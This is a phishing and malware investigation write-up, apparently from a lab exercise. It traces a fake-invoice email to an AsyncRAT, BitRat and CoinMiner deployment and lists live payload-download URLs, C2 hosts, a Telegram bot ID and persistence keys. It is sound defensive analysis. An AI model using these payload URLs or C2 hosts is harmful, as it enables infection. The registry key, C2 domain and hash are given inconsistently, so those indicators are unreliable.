PhishStrike — Faculty Phishing to Multi-Malware Deployment

00 — Background

The Case: A $625,000 Invoice Nobody Ordered

Faculty members at an educational institution received an email claiming a $625,000 purchase had been made on their account. The email appeared to come from a trusted source and contained a link to download the invoice. Clicking that link didn't open a PDF — it kicked off a multi-stage malware deployment chain ending in a RAT, a cryptominer, and a Telegram-connected C2 server.

This investigation traces the full chain: from the spoofed email header all the way through to the malware families deployed, their persistence mechanisms, and their command and control infrastructure.

🎯 Investigation Scope

This is a phishing-focused threat intelligence investigation — email forensics, URL analysis, malware attribution across three families, and C2 infrastructure mapping. No memory dump or disk image involved. Pure OSINT + threat intel tooling.

Target

Educational Institution Faculty

Lure

$625,000 Fake Purchase Invoice

Malware Families

AsyncRAT · BitRat · CoinMiner

C2 Channel

Telegram Bot + gh9st.mywire.org

01 — Email Header Analysis

Dissecting the Phishing Email

The first step was running the email headers through an Email Header Analyzer. Two authentication failures surfaced immediately — the kind of failures that should trigger automatic quarantine in any properly configured mail environment.

email header analyzer — authentication results

# SPF check — did email come from authorized server?

SPF: softfail ← server not explicitly authorized to send

# DKIM check — was email cryptographically signed?

DKIM: fail ← signature invalid or missing

# Sender IP extracted from headers

Sender IP: 18.208.22.104

# Return-path — where replies actually go

Return-Path: erikajohana.lopez@uptc.edu.co

# uptc.edu.co is a Colombian university — likely a compromised account

🚨 Authentication Failures

SPF softfail means the sending server isn't explicitly authorized. DKIM fail means the email wasn't cryptographically signed by the claimed domain. Together these are strong indicators of spoofing. A properly configured mail gateway with DMARC enforcement would have rejected this email before it reached any inbox.

The Malicious Download Link

The email contained a link to download the fake invoice. Following it led to a plaintext HTTP URL — no TLS, no HTTPS — serving a Windows executable directly:

malicious download URL

URL: http://107.175.247.199/loader/install.exe

# Red flags:

# 1. HTTP not HTTPS — no encryption, no certificate verification

# 2. Raw IP address instead of domain name

# 3. /loader/ path — classic staging server naming

# 4. .exe served as an "invoice" — extreme mismatch

💀 Four Red Flags in One URL

HTTP (not HTTPS), raw IP address, /loader/ path, and an .exe disguised as an invoice. Any single one of these warrants immediate suspicion. All four together confirm this is a malware staging server.

02 — URL & Malware Intelligence

URLhaus + VirusTotal — What's Being Served?

With the malicious URL and IP identified, the next step was threat intel lookups. URLhaus confirmed the URL as actively malicious and revealed the malware families associated with it.

URLhaus Lookup

The malicious URL had been reported to URLhaus with three distinct malware families attached — a loader serving multiple payloads simultaneously:

Remote Access Trojan

AsyncRAT

Lightweight open-source RAT. Provides full remote control — keylogging, screen capture, file access, command execution. Heavily used in commodity phishing campaigns.

Remote Access Trojan

BitRat

Feature-rich commercial RAT with credential harvesting, webcam access, HVNC (hidden desktop), and cryptocurrency wallet theft capabilities.

Cryptominer

CoinMiner

Hijacks victim CPU/GPU resources to mine cryptocurrency for the attacker. Often deployed alongside RATs for passive financial gain while maintaining remote access.

🧠 Multi-Payload Strategy

Deploying three malware families simultaneously is deliberate. The RATs (AsyncRAT + BitRat) provide persistent access and data exfiltration capability. The CoinMiner generates passive revenue. This is a financially motivated threat actor maximizing return from each compromised machine — access sold or used directly, plus ongoing mining revenue.

CoinMiner — Secondary C2 Infrastructure

VirusTotal analysis of the CoinMiner sample revealed it reaches out to a second URL beyond the initial loader — pulling additional components required for the attack:

coinminer — secondary request

# Additional URL contacted by CoinMiner post-execution:

GET http://ripley.studio/loader/uploads/Qanjttrbv.jpeg

# Note: .jpeg extension masking a non-image payload

# Used to download supplementary attack components

03 — BitRat Deep Dive

Persistence, Evasion & Loader Behavior

Registry Persistence

VirusTotal analysis of the BitRat executable revealed it establishes persistence via a suspicious AutoRun registry key — a classic Windows persistence mechanism that survives reboots:

bitrat — registry persistence key

# Suspicious AutoRun entry created by BitRat:

HKEY_CURRENT_USER\Software\Microsoft\Windows\

CurrentVersion\Run\Jzwvix

# "Jzwnix" — random-looking key name, classic obfuscation

# This key executes BitRat automatically on every user login

# BitRat SHA256:

b67628695c2df7a302003a06539759a16885

0e59b9a4485555bc1c8c639539

⚠️ Persistence via Run Key

HKCU\Software\Microsoft\Windows\CurrentVersion\Run is one of the most commonly abused persistence locations in Windows. Any value added here executes automatically at login. The randomized key name Jzwnix is designed to blend in and avoid casual inspection. MITRE ATT&CK: T1547.001.

Loader Behavior — How BitRat Gets Delivered

The VirusTotal Behavior tab for BitRat revealed exactly how the loader retrieves the BitRat payload — a plain GET request back to the same staging server:

loader → bitrat retrieval

# Loader makes GET request to retrieve BitRat binary:

GET http://107.175.247.199/loader/server.exe

# Same IP as initial install.exe download

# Confirms 107.175.247.199 is the primary staging server

# /loader/server.exe → BitRat payload

# /loader/install.exe → initial dropper

Detection Evasion — Sleep Injection

VirusTotal's report flagged a base64-encoded PowerShell command embedded in the malware. Decoding it revealed a simple but effective evasion technique:

base64 powershell — decoded

# Encoded command found in VirusTotal report

# Base64 decoded reveals:

Start-Sleep -Seconds 50

# Purpose: introduce a 50-second delay before execution

# Sandboxes often have short analysis windows (30-60s)

# Sleeping past the analysis window = sandbox evasion

🛡️ Detection Evasion via Time Delay

Start-Sleep -Seconds 50 is a classic sandbox evasion technique. Automated malware sandboxes typically analyze samples for a fixed window. A 50-second sleep causes the malware to appear benign during analysis and only execute malicious behavior after the sandbox has finished. MITRE ATT&CK: T1497.003 — Time Based Evasion.

04 — C2 Infrastructure

Command & Control — Two Channels, One Telegram Bot

AsyncRAT C2 Domain

Community analysis on VirusTotal for the AsyncRAT sample identified the C2 domain and port:

asyncrat — c2 infrastructure

# C2 server identified via VirusTotal community analysis:

C2 Domain: gh9st.mywire.org

C2 Port: 5005

# AsyncRAT communicates back to this domain

# for command execution and data exfiltration

Telegram Bot Exfiltration

Following the Recorded Future Triage report linked from VirusTotal's community section revealed something particularly interesting about AsyncRAT's network behavior — it reaches out to Telegram's API:

asyncrat — telegram exfiltration

# Network request identified in Recorded Future Triage:

Method: GET

Target: api.telegram.org

Bot ID: 5610920260

# Attacker controls a Telegram bot

# Stolen data / victim notifications sent directly to Telegram

# Telegram traffic blends with normal HTTPS — hard to block

📡 Why Telegram for C2?

Using Telegram as a C2 channel is an increasingly popular tactic. Telegram traffic uses standard HTTPS on port 443 — it looks identical to normal encrypted web traffic at the network layer. Most organizations can't block Telegram without causing significant disruption, and the attacker can receive stolen data and send commands from any device with the Telegram app. No custom infrastructure required, no domain to take down.

Staging Server

107.175.247.199

AsyncRAT C2

gh9st.mywire.org:5005

Secondary Payload Host

ripley.studio

Telegram Bot ID

5610920260

05 — Full Attack Chain

Reconstructing the Kill Chain

01

Spear Phishing Email Delivered

Faculty receive email claiming a $625,000 unauthorized purchase. Appears from trusted source. SPF softfail + DKIM fail in headers. Sender IP: 18.208.22.104. Return-path points to compromised Colombian university account.

T1566.002 — Phishing: Spearphishing Link

02

Victim Clicks Invoice Download Link

HTTP link (no HTTPS) points to raw IP 107.175.247.199/loader/install.exe. Victim downloads and executes what they believe is an invoice PDF.

T1204.002 — User Execution: Malicious File

03

Loader Executes — Sleep Evasion Triggered

install.exe runs a base64-encoded PowerShell command: Start-Sleep -Seconds 50. Introduces delay to evade sandbox detection before proceeding with payload deployment.

T1497.003 — Time Based Evasion

04

Multi-Payload Deployment

Loader retrieves BitRat via GET to /loader/server.exe. CoinMiner pulled separately via ripley.studio. AsyncRAT deployed alongside. Three malware families active on victim machine simultaneously.

T1105 — Ingress Tool Transfer

05

BitRat Establishes Persistence

Registry AutoRun key created at HKCU\...\Run\Jzwnix — BitRat executes automatically on every login. Randomized key name designed to avoid casual inspection.

T1547.001 — Registry Run Keys

06

C2 Active — Telegram Exfiltration

AsyncRAT connects to ghost.myaiv.org:5005 for command and control. Also makes GET requests to Telegram Bot ID 5610920260 — stolen data exfiltrated via Telegram API. CoinMiner begins mining in background.

T1071.001 — Web Protocols C2 T1567 — Exfiltration Over Web Service

06 — MITRE ATT&CK Mapping

Techniques Observed

T1566.002

Spearphishing Link

Invoice download link in targeted email to faculty members

T1204.002

Malicious File Execution

Victim executes install.exe disguised as invoice document

T1497.003

Time Based Evasion

Start-Sleep -Seconds 50 to evade sandbox analysis window

T1105

Ingress Tool Transfer

Loader retrieves BitRat, AsyncRAT, and CoinMiner from staging server

T1547.001

Registry Run Keys

HKCU\...\Run\Jzwvix for BitRat persistence across reboots

T1059.001

PowerShell

Base64-encoded PowerShell command for sleep-based evasion

T1071.001

Web Protocols C2

AsyncRAT C2 over standard web protocols to gh9st.mywire.org:5005

T1567

Exfiltration Over Web Service

Data exfiltration via Telegram Bot API (Bot ID: 5610920260)

07 — IOC Summary

Indicators of Compromise

Indicator	Value	Type	Confidence
Sender IP	`18.208.22.104`	IP	HIGH
Staging Server	`107.175.247.199`	IP	HIGH
Initial Dropper	`http://107.175.247.199/loader/install.exe`	URL	HIGH
BitRat Payload	`http://107.175.247.199/loader/server.exe`	URL	HIGH
Secondary Payload	`http://ripley.studio/loader/uploads/Qanjttrbv.jpeg`	URL	HIGH
AsyncRAT C2	`gh9st.mywire.org:5005`	Domain	HIGH
Telegram Bot	`5610920260`	Bot ID	HIGH
Persistence Key	`HKCU\...\Run\Jzwvix`	Registry	HIGH
BitRat SHA256	`b67628695c2df7a302...63 9539`	Hash	HIGH
Return-Path	`erikajohana.lopez@uptc.edu.co`	Email	MEDIUM

08 — Takeaways

What This Investigation Teaches Us

Email Authentication Is the First Line of Defense

SPF softfail + DKIM fail on the same email should trigger automatic quarantine. Organizations that deploy SPF, DKIM, and DMARC together — with DMARC set to p=reject — would have stopped this attack before it reached any inbox. The authentication infrastructure exists; it just needs to be properly configured and enforced.

Four URL Red Flags in Plain Sight

The malicious download URL was screaming its intentions: HTTP not HTTPS, raw IP address, /loader/ path, and a .exe posing as an invoice. Security awareness training that teaches users to inspect URLs before clicking — especially for financial claims — directly mitigates this vector.

Telegram as C2 Is a Growing Blind Spot

Using Telegram's API for exfiltration is increasingly popular precisely because it's hard to defend against without blocking a widely-used communication platform. Network monitoring that looks for unusual Telegram API call patterns — particularly api.telegram.org requests from non-browser processes — is more effective than trying to block the platform entirely.

Three Malware Families = Maximum Attacker ROI

Deploying AsyncRAT + BitRat + CoinMiner in one campaign is financially rational from the attacker's perspective. RATs provide ongoing access and credential theft. The miner generates passive income. If defenders detect and remove one, the others persist. Defense-in-depth — endpoint detection, network monitoring, and registry auditing — is necessary to catch all three.

Tools Used — This Investigation

      Email Header Analyzer — SPF/DKIM/sender IP extraction

      URLhaus — Malicious URL lookup & malware family identification

      VirusTotal — SHA256 hash lookup, behavior analysis, community reports

      Recorded Future Triage — AsyncRAT network behavior analysis

      MITRE ATT&CK — TTP mapping & technique identification

PhishStrike — From Spoofed Invoice to Multi-Malware Deployment